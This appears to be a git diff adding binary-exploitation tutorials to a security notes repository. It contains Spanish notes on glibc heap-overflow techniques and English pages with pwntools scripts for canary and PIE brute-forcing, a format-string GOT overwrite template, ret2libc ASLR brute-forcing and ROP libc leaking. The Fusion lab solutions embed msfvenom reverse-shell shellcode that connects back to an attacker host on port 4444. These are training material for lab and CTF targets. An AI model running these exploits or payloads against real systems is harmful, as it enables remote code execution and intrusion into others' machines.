+**Vulnerabilidad double free\(\)**
+
+Si se llama dos veces a free\(\) con el mismo puntero, quedan dos bins apuntando a la misma dirección.
+
+En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
+
+**After free\(\)**
+
+Un puntero previamente liberado es usado de nuevo sin control.
+
+## **8 Heap Overflows: Exploits avanzados**
+
+Las técnicas de Unlink\(\) y FrontLink\(\) fueron eliminadas al modificar la función unlink\(\).
+
+#### **The house of mind**
+
+Solo una llamada a free\(\) es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
+
+Una llamada a free\(\) provoca llamar a public\_fREe\(mem\), este hace:
+
+mstate ar\_ptr;
+
+mchunkptr p;
+
+…
+
+p = mem2chunk\(mes\); —&gt; Devuelve un puntero a la dirección donde comienza el trozo \(mem-8\)
+
+…
+
+ar\_ptr = arena\_for\_chunk\(p\); —&gt; chunk\_non\_main\_arena\(ptr\)?heap\_for\_ptr\(ptr\)-&gt;ar\_ptr:&main\_arena \[1\]
+
+…
+
+\_int\_free\(ar\_ptr, mem\);
+
+}
+
+En \[1\] comprueba el campo size el bit NON\_MAIN\_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap\_for\_ptr\(\) que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes \(en nuestro caso de 0x0804a000 deja 0x08000000\) y accede a 0x08000000-&gt;ar\_ptr \(como si fuese un struct heap\_info\)
+
+De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap\_for\_ptr\(ptr\)-&gt;ar\_ptr devuelve lo que hemos escrito en 0x08100000 \(pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar\_ptr\)
+
+De esta forma se llama a \_int\_free\(ar\_ptr, mem\), es decir, **\_int\_free\(0x0804a000, 0x081002a0\)  
+\_int\_free\(mstate av, Void\_t\* mem\){**  
+…  
+bck = unsorted\_chunks\(av\);  
+fwd = bck-&gt;fd;  
+p-&gt;bk = bck;  
+p-&gt;fd = fwd;  
+bck-&gt;fd = p;  
+fwd-&gt;bk = p;
+
+..}
+
+Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
+
+Tal y como se define unsorted\_chunks, sabemos que:  
+bck = &av-&gt;bins\[2\]-8;  
+fwd = bck-&gt;fd = \*\(av-&gt;bins\[2\]\);  
+fwd-&gt;bk = \*\(av-&gt;bins\[2\] + 12\) = p;
+
+Por lo tanto si en av-&gt;bins\[2\] escribimos el valor de \_\_DTOR\_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo trozo.
+
+Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av-&gt;bins\[2\]
+
+En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr\(\) piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av-&gt;bins\[2\]
+
+En el segundo trozo y gracias al primero sobreescribimos el prev\_size con un jump 0x0c y el size con algo para activar -&gt; NON\_MAIN\_ARENA
+
+A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode
+
+De esta forma se llamará a \_int\_free\(TROZO1, TROZO2\) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del TROZO2 el cual saltará a la shellcode.
+
+Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload.
+
+Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él.
+
+**Fastbin**
+
+Es una variante de The house of mind
+
+nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int\_free\(\)
+
+fb = &\(av-&gt;fastbins\[fastbin\_index\(size\)\] —&gt; Siendo fastbin\_index\(sz\) —&gt; \(sz &gt;&gt; 3\) - 2
+
+…
+
+p-&gt;fd = \*fb
+
+\*fb = p
+
+De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av-&gt;max\_fast esté en la dirección que vamos a sobreescribir.
+
+Dado que con The House of Mind se vio que nosotros controlábamos la posición del av.
+
+Entones si en el campo size ponemos un tamaño de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —&gt; fastbin\_index\(\) nos devolverá fastbins\[-1\], que apuntará a av-&gt;max\_fast
+
+En este caso av-&gt;max\_fast será la dirección que se sobrescrita \(no a la que apunte, sino esa posición será la que se sobrescrita\).
+
+Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -&gt; Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 \(como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops\).
+
+Además, ese mismo trozo falso debe ser menor que av-&gt;system\_mem. av-&gt;system\_mem se encuentra 1848 bytes más allá.
+
+Por culpa de los nulos de \_DTOR\_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila.
+
+Otra forma de ataque es redirigir el **av** hacia la pila.
+
+Si modificamos el size para que de 16 en vez de 8 entonces: fastbin\_index\(\) nos devolverá fastbins\[0\] y podemos hacer uso de esto para sobreescribir la pila.
+
+Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET
+
+Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av**  es el mutexe que tiene que valer 0.
+
+El **av-&gt;max\_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones.
+
+En el **av-&gt;fastbins\[0\]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode.
+
+Además, en **av-&gt;system\_mem** \(1484bytes por encima de la posición en la pila\) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza.
+
+Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -&gt; Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 \(como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso\).
+
+**The House of Spirit**
+
+En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante \(por ej, que el puntero esté en el stack debajo de un posible overflow a una variable\).
+
+Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av-&gt;max\_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc\(\)+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc\(40\), el tamaño del trozo falso debe ser igual a 48.
+
+Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes \(que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size\). Además, la dirección ptr-4+48 debe cumplir varias condiciones \(siendo en este caso ptr=EBP\), es decir, 8 &lt; ptr-4+48 &lt; av-&gt;system\_mem.
+
+En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc\(40\) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera.
+
+Esto creo que es porque así cuando lo libere free\(\) guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc\(\) que se quiere reservar, así que le asigna esa dirección.
+
+**The House of Force**
+
+Es necesario:
+
+* Un overflow a un trozo que permita sobreescribir el wilderness
+* Una llamada a malloc\(\) con el tamaño definido por el usuario
+* Una llamada a malloc\(\) cuyos datos puedan ser definidos por el usuario
+
+Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande \(0xffffffff\), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int\_malloc\(\) sin necesidad de expandir el heap
+
+Lo segundo es alterar el av-&gt;top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av-&gt;top se pondrá &EIP - 8.
+
+Tenemos que sobreescrbir av-&gt;top para que apunte a la zona de memoria bajo el control del atacante:
+
+victim = av-&gt;top;
+
+remainder = chunck\_at\_offset\(victim, nb\);
+
+av-&gt;top = remainder;
+
+Victim recoge el valor de la dirección del trozo wilderness actual \(el actual av-&gt;top\) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc\(\). Por lo que si &EIP-8 está en 0xbffff224 y av-&gt;top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av-&gt;top quede apuntando a $EIP-8 para el próximo malloc\(\) será:
+
+0xbffff224 - 0x080c2788 = 3086207644.
+
+Así se guardará en av-&gt;top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir.
+
+Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc\(\). Es decir, si el wilderness está apuntando a &EIP-8, el size quedará justo en el campo EBP del stack.
+
+**The House of Lore**
+
+**Corrupción SmallBin**
+
+Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado.
+
+Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av-&gt;max\_fast \(72normalmente\) y menos  a MIN\_LARGE\_SIZE \(512\).
+
+Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo:
+
+bck = victim-&gt;bk; Apunta al trozo anterior, es la única info que podemos alterar.
+
+bin-&gt;bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección
+
+bck-&gt;fd = bin; Se cierra la lista haciendo que este apunte a bin
+
+Se necesita:
+
+Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin \(es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow\)
+
+Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante.
+
+El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista \(el siguiente en ofrecer\) está en la dirección falsa que hayamos puesto \(al stack o GOT por ejemplo\). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella.
+
+Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin.
+
+Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir.
+
+Así el bin deberá esperar turno a que se llame a malloc\(\) suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa.
+
+Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo \(vulnerabilidad\), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida.
+
+Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck-&gt;fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma \(por el stack probablemente\) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero.
+
+**Corrupción LargeBin**
+
+Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512.
+
+El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc\(\), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea &lt; MINSIZE.
+
+Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 &lt; MINSIZE \(la resta no puede quedar negativa porque se compara un unsigned\)
+
+Además se ha introducido un parche para hacerlo aún más complicado.
+
+**Heap Spraying**
+
+Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops.
+
+**Heap Feng Shui**
+
+Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos.
+
+**objdump -d ejecutable** —&gt; Disas functions  
+**objdump -d ./PROGRAMA \| grep FUNCION** —&gt; Get function address  
+**objdump -d  -Mintel ./shellcodeout** —&gt; Para ver que efectivamente es nuestra shellcode y sacar los OpCodes  
+**objdump -t ./exec \| grep varBss** —&gt; Tabla de símbolos, para sacar address de variables y funciones  
+**objdump -TR ./exec \| grep exit\(func lib\)** —&gt; Para sacar address de funciones de librerías \(GOT\)  
+**objdump -d ./exec \| grep funcCode  
+objdump -s -j .dtors /exec  
+objdump -s -j .got ./exec  
+objdump -t --dynamic-relo ./exec \| grep puts** —&gt; Saca la dirección de puts a sobreescribir en le GOT  
+**objdump -D ./exec** —&gt; Disas ALL hasta las entradas de la plt  
+**objdump -p -/exec  
+Info functions strncmp —&gt;** Info de la función en gdb
+
+## Interesting courses
+
+* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io/)
+* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
+
diff --git a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
new file mode 100644
index 00000000000..e4f2857ccb6
--- /dev/null
+++ b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
@@ -0,0 +1,90 @@
+# Bypassing Canary & PIE
+
+**If you are facing a binary protected by a canary and PIE \(Position Independent Executable\) you probably need to find a way to bypass them.**
+
+![](../../.gitbook/assets/image%20%28282%29.png)
+
+## Canary
+
+The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it \(network service\), because every time you connect to it **the same canary will be used**.
+
+Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary \(x64\)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server \(another way in **other situation** could be using a **try/except**\):
+
+```python
+from pwn import *
+
+def connect():
+    r = remote("localhost", 8788)
+
+def get_bf(base):
+    canary = ""
+    guess = 0x0
+    base += canary
+
+    while len(canary) < 8:
+        while guess != 0xff:
+            r = connect()
+
+            r.recvuntil("Username: ")
+            r.send(base + chr(guess))
+
+            if "SOME OUTPUT" in r.clean():
+                print "Guessed correct byte:", format(guess, '02x')
+                canary += chr(guess)
+                base += chr(guess)
+                guess = 0x0
+                r.close()
+                break
+            else:
+                guess += 1
+                r.close()
+
+    print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
+    return base
+    
+canary_offset = 1176
+base = "A" * canary_offset
+print("Brute-Forcing canary")
+base_canary = get_bf(base) #Get yunk data + canary
+CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
+```
+
+## PIE
+
+In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.  
+For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes \(x64\) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
+
+To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
+
+```python
+print("Brute-Forcing RBP")
+base_canary_rbp = get_bf(base_canary)
+RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
+print("Brute-Forcing RIP")
+base_canary_rbp_rip = get_bf(base_canary_rbp)
+RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
+```
+
+### Get base address
+
+The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
+
+From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
+
+```python
+INI_SHELLCODE = RBP - 1152
+```
+
+From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.  
+To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
+
+![](../../.gitbook/assets/image%20%2818%29.png)
+
+In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked _0x562002970**ecf**_ the base address is _0x562002970**000**_
+
+```python
+elf.address = RIP - (RIP & 0xfff)
+```
+
+
+
diff --git a/exploiting/linux-exploiting-basic-esp/format-string-template.md b/exploiting/linux-exploiting-basic-esp/format-string-template.md
new file mode 100644
index 00000000000..eb07104fba1
--- /dev/null
+++ b/exploiting/linux-exploiting-basic-esp/format-string-template.md
@@ -0,0 +1,117 @@
+# Format String Template
+
+```python
+from pwn import *
+from time import sleep
+
+####################
+#### CONNECTION ####
+####################
+
+# Define how you want to exploit the binary
+LOCAL = True
+REMOTETTCP = False
+REMOTESSH = False
+GDB = False
+
+# Configure vulnerable binary
+LOCAL_BIN = "./tyler"
+REMOTE_BIN = "./tyler" #For ssh
+
+# In order to exploit the format string you may need to append/prepend some string to the payload
+# configure them here
+PREFIX_PAYLOAD = b"echo "
+SUFFIX_PAYLOAD = b""
+
+def connect_binary():
+    global P, ELF_LOADED, ROP_LOADED
+
+    if LOCAL:
+        P = process(LOCAL_BIN) # start the vuln binary
+        ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+        ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+
+    elif REMOTETTCP:
+        P = remote('10.10.10.10',1338) # start the vuln binary
+        ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+        ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+
+    elif REMOTESSH:
+        ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
+        P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
+        ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+        ROP_LOADED = ROP(elf)# Find ROP gadgets
+
+    if GDB and not REMOTETTCP and not REMOTESSH:
+        # attach gdb and continue
+        # You can set breakpoints, for example "break *main"
+        gdb.attach(P.pid, "b *main")
+
+
+########################################
+#### Get format string configuration ###
+########################################
+
+def send_payload(payload):
+    payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
+    log.info("payload = %s" % repr(payload))
+    P.sendline(payload)
+    sleep(0.5)
+    return P.recv()
+
+
+def get_formatstring_config():
+    global P
+
+    for offset in range(1,1000):
+        connect_binary()
+        P.clean()
+
+        payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
+        recieved = send_payload(payload).strip()
+
+        if b"41" in recieved:
+            for padlen in range(0,4):              
+                if b"41414141" in recieved:
+                    payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
+                    recieved = send_payload(payload).strip()
+                    print(recieved)
+                    if b"42424242" in recieved:
+                        log.info(f"Found offset ({offset}) and padlen ({padlen})")
+                        return offset, padlen
+                
+                else:
+                    payload = b" " + payload
+                    recieved = send_payload(payload).strip()
+
+
+# In order to exploit a format string you need to find a position where part of your payload
+# is being reflected. Then, you will be able to put in the position arbitrary addresses
+# and write arbitrary content in those addresses
+# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string
+
+offset, padlen = get_formatstring_config()
+
+
+# In this template, the GOT of printf (the part of the GOT table that points to where the printf
+# function resides) is going to be modified by the address of the system inside the PLT (the
+# part of the code that will jump to the system function).
+# Therefore, next time the printf function is executed, system will be executed instead with the same
+# parameters passed to printf
+
+SYSTEM_PLT = ELF_LOADED.plt["system"]
+P_GOT = ELF_LOADED.got["printf"]
+log.info(f"System PLT address: {hex(SYSTEM_PLT)}")
+log.info(f"Printf GOT address: {hex(P_GOT)}")
+
+format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen)
+format_string.write(P_GOT, SYSTEM_PLT)
+format_string.execute_writes()
+
+
+# Now that printf function is executing system you just need to find a place where you can
+# control the parameters passed to printf to execute arbitrary code.
+
+P.interactive()
+```
+
diff --git a/exploiting/linux-exploiting-basic-esp/fusion.md b/exploiting/linux-exploiting-basic-esp/fusion.md
new file mode 100644
index 00000000000..68ba6530d2f
--- /dev/null
+++ b/exploiting/linux-exploiting-basic-esp/fusion.md
@@ -0,0 +1,63 @@
+# Fusion
+
+## Level00
+
+[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
+
+1. Get offset to modify EIP
+2. Put shellcode address in EIP
+
+```python
+from pwn import *
+
+r = remote("192.168.85.181", 20000)
+
+buf = "GET "            # Needed
+buf += "A"*139          # Offset 139
+buf += p32(0xbffff440)  # Stack address where the shellcode will be saved
+buf += " HTTP/1.1"      # Needed
+buf += "\x90"*100       # NOPs
+
+#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
+buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
+buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
+buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
+buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
+buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
+buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
+buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
+buf += "\x65\xd9\x0f\x01"
+
+r.recvline()
+r.send(buf)
+r.interactive()
+```
+
+## Level01
+
+```python
+from pwn import *
+
+r = remote("192.168.85.181", 20001)
+
+buf = "GET "            # Needed
+buf += "A"*139          # Offset 139
+buf += p32(0x08049f4f)  # Adress of: JMP esp
+buf += p32(0x9090E6FF)  # OPCODE: JMP esi (the esi register have the address of the shellcode)
+buf += " HTTP/1.1"      # Needed
+buf += "\x90"*100       # NOPs
+
+#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
+buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
+buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
+buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
+buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
+buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
+buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
+buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
+buf += "\x65\xd9\x0f\x01"
+
+r.send(buf)
+r.interactive()
+```
+
diff --git a/exploiting/linux-exploiting-basic-esp/ret2lib.md b/exploiting/linux-exploiting-basic-esp/ret2lib.md
new file mode 100644
index 00000000000..d802eb1003a
--- /dev/null
+++ b/exploiting/linux-exploiting-basic-esp/ret2lib.md
@@ -0,0 +1,76 @@
+# Ret2Lib
+
+**If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.**
+
+## If you are **inside** the **host**
+
+### You can find the **address of lib**c
+
+```bash
+ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
+```
+
+If you want to check if the ASLR is changing the address of libc you can do:
+
+```bash
+for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
+```
+
+### Get offset of system function
+
+```bash
+readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
+```
+
+### Get offset of "/bin/sh"
+
+```bash
+strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
+```
+
+### /proc/&lt;PID&gt;/maps
+
+If the process is creating **children** every time you talk with it \(network server\) try to **read** that file \(probably you will need to be root\).
+
+Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
+
+![](../../.gitbook/assets/image%20%2899%29.png)
+
+In this case it is loaded in **0xb75dc000** \(This will be the base address of libc\)
+
+### Using gdb-peda
+
+Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda:
+
+```text
+p system
+p exit
+find "/bin/sh"
+```
+
+## Bypassing ASLR
+
+You can try to bruteforce the abse address of libc.
+
+```python
+for off in range(0xb7000000, 0xb8000000, 0x1000):
+```
+
+## Code
+
+```python
+from pwn import *
+
+c = remote('192.168.85.181',20002)
+c.recvline()    #Banner
+
+for off in range(0xb7000000, 0xb8000000, 0x1000):
+    p = ""
+    p += p32(off + 0x0003cb20) #system
+    p += "CCCC" #GARBAGE
+    p += p32(off + 0x001388da) #/bin/sh
+    payload = 'A'*0x20010 + p
+    c.send(payload)
+    c.interactive() #?
+```
+
diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address.md
new file mode 100644
index 00000000000..672b0df77b6
--- /dev/null
+++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address.md
@@ -0,0 +1,289 @@
+# ROP - Leaking LIBC address
+
+## Quick Resume
+
+1. Find overflow offset
+2. Find POP\_RDI, PUTS\_PLT and MAIN\_PLT gadgets
+3. Find memory address of puts and guess the libc version \(donwload it\)
+4. Given the library just exploit it
+
+## Other tutorials and binaries to practice
+
+This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)  
+Another useful tutorial: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/)
+
+## Code
+
+Filename: `vuln.c`
+
+```c
+#include <stdio.h>
+
+int main() {
+    char buffer[32];
+    puts("Simple ROP.\n");
+    gets(buffer);
+
+    return 0;
+}
+```
+
+```bash
+gcc -o vuln vuln.c -fno-stack-protector  -no-pie
+```
+
+## ROP - PWNtools template
+
+\*\*\*\*[**Find my ROP-PWNtools template here.**](rop-pwn-template.md) I'm going to use the code located there to make the exploit.  
+Download the exploit and place it in the same directory as the vulnerable binary.
+
+## 1- Finding the offset
+
+The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it \(by default `OFFSET = ""`\):
+
+```bash
+####################
+#### Find offset ###
+####################
+OFFSET = ""#"A"*72
+if OFFSET == "":
+    gdb.attach(p.pid, "c") #Attach and continue
+    payload = cyclic(1000)
+    print(r.clean())
+    r.sendline(payload)
+    #x/wx $rsp -- Search for bytes that crashed the application
+    #cyclic_find(0x6161616b) # Find the offset of those bytes
+    return
+```
+
+**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
+
+```python
+from pwn import *
+cyclic_find(0x6161616b)
+```
+
+![](../../.gitbook/assets/image%20%28188%29.png)
+
+After finding the offset \(in this case 40\) change the OFFSET variable inside the template using that value.  
+`OFFSET = "A" * 40`
+
+## 2- Finding Gadgets
+
+Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
+
+```python
+PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
+MAIN_PLT = elf.symbols['main']
+POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
+RET = (rop.find_gadget(['ret']))[0]
+
+log.info("Main start: " + hex(MAIN_PLT))
+log.info("Puts plt: " + hex(PUTS_PLT))
+log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
+```
+
+The `PUTS_PLT` is needed to call the **function puts**.  
+The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** \(infinite rounds of exploitation\).It is used at the end of each ROP.  
+The **POP\_RDI** is needed to **pass** a **parameter** to the called function.
+
